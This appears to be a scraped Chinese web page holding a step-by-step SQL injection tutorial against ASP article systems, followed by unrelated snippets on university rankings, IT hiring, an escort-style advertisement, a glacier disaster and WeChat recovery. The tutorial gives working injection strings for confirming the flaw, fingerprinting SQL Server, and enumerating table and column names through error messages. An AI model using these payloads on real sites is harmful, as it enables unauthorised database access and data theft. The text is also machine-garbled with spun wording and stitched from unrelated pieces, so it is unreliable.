人人在是否碰到过这样的站点:
全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:所有文章均在数据库存有一个副本。另处凭据模板天生一个HTML页面。
攻击方式:
查看源文件/看内里是否有通过 *** 来挪用的页面。
如挪用来更新文章的浏览次数。
我们就可以这样来试一下能否注入:
http://服务器域名/count.asp?id=1552’
看一下是否失足。如失足说明有注入破绽。然后正常攻击。
在本机确立一下post.htm的文件和log.txt的文本文件(用来记任命,这是一个好习惯)
post.htm内容:主要是利便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条纪录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情形会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到谁人表的一条纪录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’适才获得的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
2019悉尼大学世界排名 1.2019QS世界大学排名指标(6个) Academic Reputation 学术声誉(所占比重为40%)Employer Reputation 雇主声誉(所占比重为...
【CNMO新闻】从各方面来看,2019年将成为IT经理和专业人士的红火年,特别是那些掌握数据,云和网络安全技能的人员。来自Hays的最新数据发现,68%的IT雇主将在2019年期间增加全职IT招聘,5...
上海应聘商务【陶翠花】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄北京 女 26,婚姻:未婚,学历:高中,气质:上海应聘商务寻找方法,关注我可快速添加模特...
印度北部冰川断裂死亡人数升至26人 新华社新德里2月8日电(记者胡晓明)印度北部北阿肯德邦警察总监阿肖克·库马尔8日说,当地冰川断裂造成的死亡人数已升至26人。 库马尔在社交媒体上说,...
如何恢复删掉的微信聊天记录?教程新出炉!在科技发达的今...